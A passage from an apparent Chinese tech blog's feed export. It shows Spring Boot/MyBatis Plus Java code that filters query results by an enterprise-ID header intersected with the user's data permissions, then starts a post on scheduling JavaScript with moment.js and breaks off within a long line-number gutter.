class="line"></span><br><span class="line"><span class="keyword">import</span> com.alibaba.ttl.TransmittableThreadLocal;</span><br><span class="line"><span class="keyword">import</span> lombok.experimental.UtilityClass;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.util.Set;</span><br><span class="line"></span><br><span class="line"><span class="meta">@UtilityClass</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">CurrentEntIdSearchContextHolder</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> ThreadLocal&lt;Set&lt;Long&gt;&gt; THREAD_LOCAL_ENT_LIST = <span class="keyword">new</span> <span class="title class_">TransmittableThreadLocal</span>&lt;&gt;();</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 设置当前header中的企业列表</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> entIdList 需要查询的企业列表</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">setEntIdList</span><span class="params">(Set&lt;Long&gt; entIdList)</span> &#123;</span><br><span class="line">        THREAD_LOCAL_ENT_LIST.set(entIdList);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 获取header中的企业列表</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@return</span> 企业列表</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">public</span> Set&lt;Long&gt; <span class="title function_">getEntIdList</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> THREAD_LOCAL_ENT_LIST.get();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">clear</span><span class="params">()</span> &#123;</span><br><span class="line">        THREAD_LOCAL_ENT_LIST.remove();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><h5 id="添加过滤器，将前端传输的数据储存起来">添加过滤器，将前端传输的数据储存起来</h5><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> cn.allbs.allbsjwt.config.datascope;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> cn.allbs.allbsjwt.config.constant.CommonConstants;</span><br><span class="line"><span class="keyword">import</span> cn.hutool.core.convert.Convert;</span><br><span class="line"><span class="keyword">import</span> cn.hutool.core.util.StrUtil;</span><br><span class="line"><span class="keyword">import</span> lombok.SneakyThrows;</span><br><span class="line"><span class="keyword">import</span> lombok.extern.slf4j.Slf4j;</span><br><span class="line"><span class="keyword">import</span> org.springframework.core.Ordered;</span><br><span class="line"><span class="keyword">import</span> org.springframework.core.annotation.Order;</span><br><span class="line"><span class="keyword">import</span> org.springframework.stereotype.Component;</span><br><span class="line"><span class="keyword">import</span> org.springframework.web.filter.GenericFilterBean;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> javax.servlet.FilterChain;</span><br><span class="line"><span class="keyword">import</span> javax.servlet.ServletRequest;</span><br><span class="line"><span class="keyword">import</span> javax.servlet.ServletResponse;</span><br><span class="line"><span class="keyword">import</span> javax.servlet.http.HttpServletRequest;</span><br><span class="line"><span class="keyword">import</span> javax.servlet.http.HttpServletResponse;</span><br><span class="line"><span class="keyword">import</span> java.util.Set;</span><br><span class="line"></span><br><span class="line"><span class="meta">@Slf4j</span></span><br><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="meta">@Order(Ordered.HIGHEST_PRECEDENCE)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">EntIdContextHolderFilter</span> <span class="keyword">extends</span> <span class="title class_">GenericFilterBean</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="meta">@SneakyThrows</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">doFilter</span><span class="params">(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain)</span> &#123;</span><br><span class="line">        <span class="type">HttpServletRequest</span> <span class="variable">request</span> <span class="operator">=</span> (HttpServletRequest) servletRequest;</span><br><span class="line">        <span class="type">HttpServletResponse</span> <span class="variable">response</span> <span class="operator">=</span> (HttpServletResponse) servletResponse;</span><br><span class="line"></span><br><span class="line">        <span class="type">String</span> <span class="variable">entIdListStr</span> <span class="operator">=</span> request.getHeader(CommonConstants.ENT_ID_LIST);</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (StrUtil.isNullOrUndefined(entIdListStr)) &#123;</span><br><span class="line">            CurrentEntIdSearchContextHolder.clear();</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            Set&lt;Long&gt; entIdList = Convert.toSet(Long.class, entIdListStr);</span><br><span class="line">            CurrentEntIdSearchContextHolder.setEntIdList(entIdList);</span><br><span class="line">            log.debug(<span class="string">&quot;获取header中的企业列表为:&#123;&#125;&quot;</span>, entIdList);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        filterChain.doFilter(request, response);</span><br><span class="line">        CurrentEntIdSearchContextHolder.clear();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="在UnitDataPermissionInterceptor中添加代码过滤用户查询的企业列表">在<code>UnitDataPermissionInterceptor</code>中添加代码过滤用户查询的企业列表</h4><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 获取header中的待过滤的企业列表</span></span><br><span class="line">Set&lt;Long&gt; entIdList = CurrentEntIdSearchContextHolder.getEntIdList();</span><br><span class="line"><span class="keyword">if</span> (entIdList != <span class="literal">null</span>) &#123;</span><br><span class="line">    <span class="keyword">if</span> (dataScopeParam == <span class="literal">null</span>) &#123;</span><br><span class="line">        dataScopeParam = <span class="keyword">new</span> <span class="title class_">DataScopeParam</span>(<span class="string">&quot;ent_id&quot;</span>, entIdList, <span class="literal">true</span>, CollUtil.newArrayList(<span class="string">&quot;sys_file&quot;</span>));</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        <span class="comment">// 查询交集</span></span><br><span class="line">        Set&lt;Long&gt; permissionEntList = dataScopeParam.getEntIdList();</span><br><span class="line">        dataScopeParam.setFilterField(<span class="literal">true</span>);</span><br><span class="line">        dataScopeParam.setEntIdList(entIdList.stream().filter(permissionEntList::contains).collect(Collectors.toSet()));</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/03/5b6208d74a985394383c8665687087b8.png" alt="image-20230301104910292"></p><h4 id="进行测试">进行测试</h4><h5 id="在添加dataScope的情况下只查询到企业符合期望">在添加<code>dataScope</code>的情况下只查询到企业符合期望</h5><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/03/7f3657985029bd5d94171cccae466be3.png" alt="image-20230301105235512"></p><h5 id="去掉datascope进行测试">去掉<code>datascope</code>进行测试</h5><p>没有企业3的数据符合预期</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/03/6315663c3904e58284a09e2f2ffe7484.png" alt="image-20230301105532643"></p><h5 id="源码">源码</h5><p><a href="https://github.com/chenqi92/allbs-datascope-demo.git">源码地址</a></p><h3 id="实现方式二">实现方式二</h3><a href="/posts/36543/" title="spring boot+mybatis plus进行sql拦截实现权限过滤，使用mybatis plus的DataPermissionHandler">📄 实现文档</a>]]></content>
    
    
    <summary type="html">权限系统开发说明及代码，主要开发过程看git提交记录即可，git提交记录是以节点来提交的。</summary>
    
    
    
    <category term="spring" scheme="https://blog.allbs.cn/categories/spring/"/>
    
    
    <category term="spring" scheme="https://blog.allbs.cn/tags/spring/"/>
    
    <category term="mybatis plus" scheme="https://blog.allbs.cn/tags/mybatis-plus/"/>
    
    <category term="权限" scheme="https://blog.allbs.cn/tags/%E6%9D%83%E9%99%90/"/>
    
  </entry>
  
  <entry>
    <title>在指定时间执行js中的方法</title>
    <link href="https://blog.allbs.cn/posts/53643/"/>
    <id>https://blog.allbs.cn/posts/53643/</id>
    <published>2023-01-10T03:39:00.000Z</published>
    <updated>2025-11-28T06:48:01.066Z</updated>
    
    <content type="html"><![CDATA[<h2 id="使用moment-js库">使用moment.js库</h2><p><a href="http://momentjs.cn/">官网下载</a></p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br><span class="line">213</span><br><span class="line">214</span><br><span class="line">215</span><br><span class="line">216</span><br><span class="line">217</span><br><span class="line">218</span><br><span class="line">219</span><br><span class="line">220</span><br><span class="line">221</span><br><span class="line">222</span><br><span class="line">223</span><br><span class="line">224</span><br><span class="line">225</span><br><span class="line">226</span><br><span class="line">227</span><br><span class="line">228</span><br><span class="line">229</span><br><span class="line">230</span><br><span class="line">231</span><br><span class="line">232</span><br><span class="line">233</span><br><span class="line">234</span><br><span class="line">235</span><br><span class="line">236</span><br><span class="line">237</span><br><span class="line">238</span><br><span class="line">239</span><br><span class="line">240</span><br><span class="line">241</span><br><span class="line">242</span><br><span class="line">243</span><br><span class="line">244</span><br><span class="line">245</span><br><span class="line">246</span><br><span class="line">247</span><br><span class="line">248</span><br><span class="line">249</span><br><span class="line">250</span><br><span class="line">251</span><br><span class="line">252</span><br><span class="line">253</span><br><span class="line">254</span><br><span class="line">255</span><br><span class="line">256</span><br><span class="line">257</span><br><span class="line">258</span><br><span class="line">259</span><br><span class="line">260</span><br><span class="line">261</span><br><span class="line">262</span><br><span class="line">263</span><br><span class="line">264</span><br><span class="line">265</span><br><span class="line">266</span><br><span class="line">267</span><br><span class="line">268</span><br><span class="line">269</span><br><span class="line">270</span><br><span class="line">271</span><br><span class="line">272</span><br><span class="line">273</span><br><span class="line">274</span><br><span class="line">275</span><br><span class="line">276</span><br><span class="line">277</span><br><span class="line">278</span><br><span class="line">279</span><br><span class="line">280</span><br><span class="line">281</span><br><span class="line">282</span><br><span class="line">283</span><br><span class="line">284</span><br><span class="line">285</span><br><span class="line">286</span><br><span class="line">287</span><br><span class="line">288</span><br><span class="line">289</span><br><span class="line">290</span><br><span class="line">291</span><br><span class="line">292</span><br><span class="line">293</span><br><span class="line">294</span><br><span class="line">295</span><br><span class="line">296</span><br><span class="line">297</span><br><span class="line">298</span><br><span class="line">299</span><br><span class="line">300</span><br><span class="line">301</span><br><span class="line">302</span><br><span class="line">303</span><br><span class="line">304</span><br><span class="line">305</span><br><span class="line">306</span><br><span class="line">307</span><br><span class="line">308</span><br><span class="line">309</span><br><span class="line">310</span><br><span class="line">311</span><br><span class="line">312</span><br><span class="line">313</span><br><span class="line">314</span><br><span class="line">315</span><br><span class="line">316</span><br><span class="line">317</span><br><span class="line">318</span><br><span class="line">319</span><br><span class="line">320</span><br><span class="line">321</span><br><span class="line">322</span><br><span class="line">323</span><br><span class="line">324</span><br><span class="line">325</span><br><span class="line">326</span><br><span class="line">327</span><br><span class="line">328</span><br><span class="line">329</span><br><span class="line">330</span><br><span class="line">331</span><br><span class="line">332</span><br><span class="line">333</span><br><span class="line">334</span><br><span class="line">335</span><br><span class="line">336</span><br><span class="line">337</span><br><span class="line">338</span><br><span class="line">339</span><br><span class="line">340</span><br><span class="line">341</span><br><span class="line">342</span><br><span class="line">343</span><br><span class="line">344</span><br><span class="line">345</span><br><span class="line">346</span><br><span class="line">347</span><br><span class="line">348</span><br><span class="line">349</span><br><span class="line">350</span><br><span class="line">351</span><br><span class="line">352</span><br><span class="line">353</span><br><span class="line">354</span><br><span class="line">355</span><br><span class="line">356</span><br><span class="line">357</span><br><span class="line">358</span><br><span class="line">359</span><br><span class="line">360</span><br><span class="line">361</span><br><span class="line">362</span><br><span class="line">363</span><br><span class="line">364</span><br><span class="line">365</span><br><span class="line">366</span><br><span class="line">367</span><br><span class="line">368</span><br><span class="line">369</span><br><span class="line">370</span><br><span class="line">371</span><br><span class="line">372</span><br><span class="line">373</span><br><span class="line">374</span><br><span class="line">375</span><br><span class="line">376</span><br><span class="line">377</span><br><span class="line">378</span><br><span class="line">379</span><br><span class="line">380</span><br><span class="line">381</span><br><span class="line">382</span><br><span class="line">383</span><br><span class="line">384</span><br><span class="line">385</span><br><span class="line">386</span><br><span class="line">387</span><br><span class="line">388</span><br><span class="line">389</span><br><span class="line">390</span><br><span class="line">391</span><br><span class="line">392</span><br><span class="line">393</span><br><span class="line">394</span><br><span class="line">395</span><br><span class="line">396</span><br><span class="line">397</span><br><span class="line">398</span><br><span class="line">399</span><br><span class="line">400</span><br><span class="line">401</span><br><span class="line">402</span><br><span class="line">403</span><br><span class="line">404</span><br><span class="line">405</span><br><span class="line">406</span><br><span class="line">407</span><br><span class="line">408</span><br><span class="line">409</span><br><span class="line">410</span><br><span class="line">411</span><br><span class="line">412</span><br><span class="line">413</span><br><span class="line">414</span><br><span class="line">415</span><br><span class="line">416</span><br><span class="line">417</span><br><span class="line">418</span><br><span class="line">419</span><br><span class="line">420</span><br><span class="line">421</span><br><span class="line">422</span><br><span class="line">423</span><br><span class="line">424</span><br><span class="line">425</span><br><span class="line">426</span><br><span class="line">427</span><br><span class="line">428</span><br><span class="line">429</span><br><span class="line">430</span><br><span class="line">431</span><br><span class="line">432</span><br><span class="line">433</span><br><span class="line">434</span><br><span class="line">435</span><br><span class="line">436</span><br><span class="line">437</span><br><span class="line">438</span><br><span class="line">439</span><br><span class="line">440</span><br><span class="line">441</span><br><span class="line">442</span><br><span class="line">443</span><br><span class="line">444</span><br><span class="line">445</span><br><span class="line">446</span><br><span class="line">447</span><br><span class="line">448</span><br><span class="line">449</span><br><span class="line">450</span><br><span class="line">451</span><br><span class="line">452</span><br><span class="line">453</span><br><span class="line">454</span><br><span class="line">455</span><br><span class="line">456</span><br><span class="line">457</span><br><span class="line">458</span><br><span class="line">459</span><br><span class="line">460</span><br><span class="line">461</span><br><span class="line">462</span><br><span class="line">463</span><br><span class="line">464</span><br><span class="line">465</span><br><span class="line">466</span><br><span class="line">467</span><br><span class="line">468</span><br><span class="line">469</span><br><span class="line">470</span><br><span class="line">471</span><br><span class="line">472</span><br><span class="line">473</span><br><span class="line">474</span><br><span class="line">475</span><br><span class="line">476</span><br><span class="line">477</span><br><span class="line">478</span><br><span class="line">479</span><br><span class="line">480</span><br><span class="line">481</span><br><span class="line">482</span><br><span class="line">483</span><br><span class="line">484</span><br><span class="line">485</span><br><span class="line">486</span><br><span class="line">487</span><br><span class="line">488</span><br><span class="line">489</span><br><span class="line">490</span><br><span class="line">491</span><br><span class="line">492</span><br><span class="line">493</span><br><span class="line">494</span><br><span class="line">495</span><br><span class="line">496</span><br><span class="line">497</span><br><span class="line">498</span><br><span class="line">499</span><br><span class="line">500</span><br><span class="line">501</span><br><span class="line">502</span><br><span class="line">503</span><br><span class="line">504</span><br><span class="line">505</span><br><span class="line">506</span><br><span class="line">507</span><br><span class="line">508</span><br><span class="line">509</span><br><span class="line">510</span><br><span class="line">511</span><br><span class="line">512</span><br><span class="line">513</span><br><span class="line">514</span><br><span class="line">515</span><br><span class="line">516</span><br><span class="line">517</span><br><span class="line">518</span><br><span class="line">519</span><br><span class="line">520</span><br><span class="line">521</span><br><span class="line">522</span><br><span class="line">523</span><br><span class="line">524</span><br><span class="line">525</span><br><span class="line">526</span><br><span class="line">527</span><br><span class="line">528</span><br><span class="line">529</span><br><span class="line">530</span><br><span class="line">531</span><br><span class="line">532</span><br><span class="line">533</span><br><span class="line">534</span><br><span class="line">535</span><br><span class="line">536</span><br><span class="line">537</span><br><span class="line">538</span><br><span class="line">539</span><br><span class="line">540</span><br><span class="line">541</span><br><span class="line">542</span><br><span class="line">543</span><br><span class="line">544</span><br><span class="line">545</span><br><span class="line">546</span><br><span class="line">547</span><br><span class="line">548</span><br><span class="line">549</span><br><span class="line">550</span><br><span class="line">551</span><br><span class="line">552</span><br><span class="line">553</span><br><span class="line">554</span><br><span class="line">555</span><br><span class="line">556</span><br><span class="line">557</span><br><span class="line">558</span><br><span class="line">559</span><br><span class="line">560</span><br><span class="line">561</span><br><span class="line">562</span><br><span class="line">563</span><br><span class="line">564</span><br><span class="line">565</span><br><span class="line">566</span><br><span class="line">567</span><br><span class="line">568</span><br><span class="line">569</span><br><span class="line">570</span><br><span class="line">571</span><br><span class="line">572</span><br><span class="line">573</span><br><span class="line">574</span><br><span class="line">575</span><br><span class="line">576</span><br><span class="line">577</span><br><span class="line">578</span><br><span class="line">579</span><br><span class="line">580</span><br><span class="line">581</span><br><span class="line">582</span><br><span class="line">583</span><br><span class="line">584</span><br><span class="line">585</span><br><span class="line">586</span><br><span class="line">587</span><br><span class="line">588</span><br><span class="line">589</span><br><span class="line">590</span><br><span class="line">591</span><br><span class="line">592</span><br><span class="line">593</span><br><span class="line">594</span><br><span class="line">595</span><br><span class="line">596</span><br><span class="line">597</span><br><span class="line">598</span><br><span class="line">599</span><br><span class="line">600</span><br><span class="line">601</span><br><span class="line">602</span><br><span class="line">603</span><br><span class="line">604</span><br><span class="line">605</span><br><span class="line">606</span><br><span class="line">607</span><br><span class="line">608</span><br><span class="line">609</span><br><span class="line">610</span><br><span class="line">611</span><br><span class="line">612</span><br><span class="line">613</span><br><span class="line">614</span><br><span class="line">615</span><br><span class="line">616</span><br><span class="line">617</span><br><span class="line">618</span><br><span class="line">619</span><br><span class="line">620</span><br><span class="line">621</span><br><span class="line">622</span><br><span class="line">623</span><br><span class="line">624</span><br><span class="line">625</span><br><span class="line">626</span><br><span class="line">627</span><br><span class="line">628</span><br><span class="line">629</span><br><span class="line">630</span><br><span class="line">631</span><br><span class="line">632</span><br><span class="line">633</span><br><span class="line">634</span><br><span class="line">635</span><br><span class="line">636</span><br><span class="line">637</span><br><span class="line">638</span><br><span class="line">639</span><br><span class="line">640</span><br><span class="line">641</span><br><span class="line">642</span><br><span class="line">643</span><br><span class="line">644</span><br><span class="line">645</span><br><span class="line">646</span><br><span class="line">647</span><br><span class="line">648</span><br><span class="line">649</span><br><span class="line">650</span><br><span class="line">651</span><br><span class="line">652</span><br><span class="line">653</span><br><span class="line">654</span><br><span class="line">655</span><br><span class="line">656</span><br><span class="line">657</span><br><span class="line">658</span><br><span class="line">659</span><br><span class="line">660</span><br><span class="line">661</span><br><span class="line">662</span><br><span class="line">663</span><br><span class="line">664</span><br><span class="line">665</span><br><span class="line">666</span><br><span class="line">667</span><br><span class="line">668</span><br><span class="line">669</span><br><span class="line">670</span><br><span class="line">671</span><br><span class="line">672</span><br><span class="line">673</span><br><span class="line">674</span><br><span class="line">675</span><br><span class="line">676</span><br><span class="line">677</span><br><span class="line">678</span><br><span class="line">679</span><br><span class="line">680</span><br><span class="line">681</span><br><span class="line">682</span><br><span class="line">683</span><br><span class="line">684</span><br><span class="line">685</span><br><span class="line">686</span><br><span class="line">687</span><br><span class="line">688</span><br><span class="line">689</span><br><span class="line">690</span><br><span class="line">691</span><br><span class="line">692</span><br><span class="line">693</span><br><span class="line">694</span><br><span class="line">695</span><br><span class="line">696</span><br><span class="line">697</span><br><span class="line">698</span><br><span class="line">699</span><br><span class="line">700</span><br><span class="line">701</span><br><span class="line">702</span><br><span class="line">703</span><br><span class="line">704</span><br><span class="line">705</span><br><span class="line">706</span><br><span class="line">707</span><br><span class="line">708</span><br><span class="line">709</span><br><span class="line">710</span><br><span class="line">711</span><br><span class="line">712</span><br><span class="line">713</span><br><span class="line">714</span><br><span class="line">715</span><br><span class="line">716</span><br><span class="line">717</span><br><span class="line">718</span><br><span class="line">719</span><br><span class="line">720</span><br><span class="line">721</span><br><span class="line">722</span><br><span class="line">723</span><br><span class="line">724</span><br><span class="line">725</span><br><span class="line">726</span><br><span class="line">727</span><br><span class="line">728</span><br><span class="line">729</span><br><span class="line">730</span><br><span class="line">731</span><br><span class="line">732</span><br><span class="line">733</span><br><span class="line">734</span><br><span class="line">735</span><br><span class="line">736</span><br><span class="line">737</span><br><span class="line">738</span><br><span class="line">739</span><br><span class="line">740</span><br><span class="line">741</span><br><span class="line">742</span><br><span class="line">743</span><br><span class="line">744</span><br><span class="line">745</span><br><span class="line">746</span><br><span class="line">747</span><br><span class="line">748</span><br><span class="line">749</span><br><span class="line">750</span><br><span class="line">751</span><br><span class="line">752</span><br><span class="line">753</span><br><span class="line">754</span><br><span class="line">755</span><br><span class="line">756</span><br><span class="line">757</span><br><span class="line">758</span><br><span class="line">759</span><br><span class="line">760</span><br><span class="line">761</span><br><span class="line">762</span><br><span class="line">763</span><br><span class="line">764</span><br><span class="line">765</span><br><span class="line">766</span><br><span class="line">767</span><br><span class="line">768</span><br><span class="line">769</span><br><span class="line">770</span><br><span class="line">771</span><br><span class="line">772</span><br><span class="line">773</span><br><span class="line">774</span><br><span class="line">775</span><br><span class="line">776</span><br><span class="line">777</span><br><span class="line">778</span><br><span class="line">779</span><br><span class="line">780</span><br><span class="line">781</span><br><span class="line">782</span><br><span class="line">783</span><br><span class="line">784</span><br><span class="line">785</span><br><span class="line">786</span><br><span class="line">787</span><br><span class="line">788</span><br><span class="line">789</span><br><span class="line">790</span><br><span class="line">791</span><br><span class="line">792</span><br><span class="line">793</span><br><span class="line">794</span><br><span class="line">795</span><br><span class="line">796</span><br><span class="line">797</span><br><span class="line">798</span><br><span class="line">799</span><br><span class="line">800</span><br><span class="line">801</span><br><span class="line">802</span><br><span class="line">803</span><br><span class="line">804</span><br><span class="line">805</span><br><span class="line">806</span><br><span class="line">807</span><br><span class="line">808</span><br><span class="line">809</span><br><span class="line">810</span><br><span class="line">811</span><br><span class="line">812</span><br><span class="line">813</span><br><span class="line">814</span><br><span class="line">815</span><br><span class="line">816</span><br><span class="line">817</span><br><span class="line">818</span><br><span class="line">819</span><br><span class="line">820</span><br><span class="line">821</span><br><span class="line">822</span><br><span class="line">823</span><br><span class="line">824</span><br><span class="line">825</span><br><span class="line">826</span><br><span class="line">827</span><br><span class="line">828</span><br><span class="line">829</span><br><span class="line">830</span><br><span class="line">831</span><br><span class="line">832</span><br><span class="line">833</span><br><span class="line">834</span><br><span class="line">835</span><br><span class="line">836</span><br><span class="line">837</span><br><span class="line">838</span><br><span class="line">839</span><br><span class="line">840</span><br><span class="line">841</span><br><span class="line">842</span><br><span class="line">843</span><br><span class="line">844</span><br><span class="line">845</span><br><span class="line">846</span><br><span class="line">847</span><br><span class="line">848</span><br><span class="line">849</span><br><span class="line">850</span><br><span class="line">851</span><br><span class="line">852</span><br><span class="line">853</span><br><span class="line">854</span><br><span class="line">855</span><br><span class="line">856</span><br><span class="line">857</span><br><span class="line">858</span><br><span class="line">859</span><br><span class="line">860</span><br><span class="line">861</span><br><span class="line">862</span><br><span class="line">863</span><br><span class="line">864</span><br><span class="line">865</span><br><span class="line">866</span><br><span class="line">867</span><br><span class="line">868</span><br><span class="line">869</span><br><span class="line">870</span><br><span class="line">871</span><br><span class="line">872</span><br><span class="line">873</span><br><span class="line">874</span><br><span class="line">875</span><br><span class="line">876</span><br><span class="line">877</span><br><span class="line">878</span><br><span class="line">879</span><br><span class="line">880</span><br><span class="line">881</span><br><span class="line">882</span><br><span class="line">883</span><br><span class="line">884</span><br><span class="line">885</span><br><span class="line">886</span><br><span class="line">887</span><br><span class="line">888</span><br><span class="line">889</span><br><span class="line">890</span><br><span class="line">891</span><br><span class="line">892</span><br><span class="line">893</span><br><span class="line">894</span><br><span class="line">895</span><br><span class="line">896</span><br><span class="line">897</span><br><span class="line">898</span><br><span class="line">899</span><br><span class="line">900</span><br><span class="line">901</span><br><span class="line">902</span><br><span class="line">903</span><br><span class="line">904</span><br><span class="line">905</span><br><span class="line">906</span><br><span class="line">907</span><br><span class="line">908</span><br><span class="line">909</span><br><span class="line">910</span><br><span class="line">911</span><br><span 